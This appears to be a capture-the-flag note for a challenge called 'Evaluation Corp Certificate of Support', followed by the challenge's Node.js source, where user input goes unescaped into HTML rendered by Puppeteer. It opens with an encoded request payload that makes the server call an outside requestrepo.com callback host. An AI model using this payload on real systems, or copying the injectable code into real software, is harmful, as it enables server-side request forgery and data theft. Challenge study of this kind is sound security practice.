Content-Length: 252

script="http://127.0.0.1:5000/api/eval_js/'http:%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%36%25%33%36%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%36%25%33%36h8e0icum.requestrepo.com',False"&es6=False

A bit better now but still we have to encode the inner one 4 times...

Evaluation Corp Certificate of Support

Description

Get the flag!

Resources

const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const handlebars = require('express-handlebars');
const puppeteer = require('puppeteer');
const ssrfFilter = require('ssrf-req-filter');
const axios = require('axios');
const dns = require('dns');

// Use Handlebars as the view engine
app.engine('handlebars', handlebars.engine());
app.set('view engine', 'handlebars');

// Middleware
app.use(bodyParser.json());
app.use(express.static('public'));

// Routes
app.get('/', (req, res) => {
    res.render('index');
});

app.post('/generate', async (req, res) => {
    const name = req.body.name;

    const data = `
        <!DOCTYPE html>
        <html>
        <head>
            <title>Evaluation Corp Certificate of Support</title>
        </head>
        <body style="font-family: Arial, sans-serif; text-align: center;">
            <div style="border: 2px solid #3498db; padding: 20px; max-width: 600px; margin: 0 auto;">
                <h1 style="color: #3498db;">Certificate of Support</h1>
                <p>This is to certify that</p>
                <h2 style="color: #333;">${name}</h2>
                <p>Has shown outstanding support and dedication to</p>
                <h3 style="color: #333;">Evil Corp</h3>
                <p>on this day,</p>
                <p style="color: #333;">${new Date('August 1, 2024').toLocaleDateString('en-US', { year: 'numeric', month: 'long', day: 'numeric' })}</p>
                <p>By contributing their time and expertise, ${name} has made a significant impact on the success of Evil Corp.</p>
                <p>Thank you for your unwavering support.</p>
                <br>
                <p style="font-size: 18px;">Authorized Signature:</p>
                <img src="data:image/png;base64,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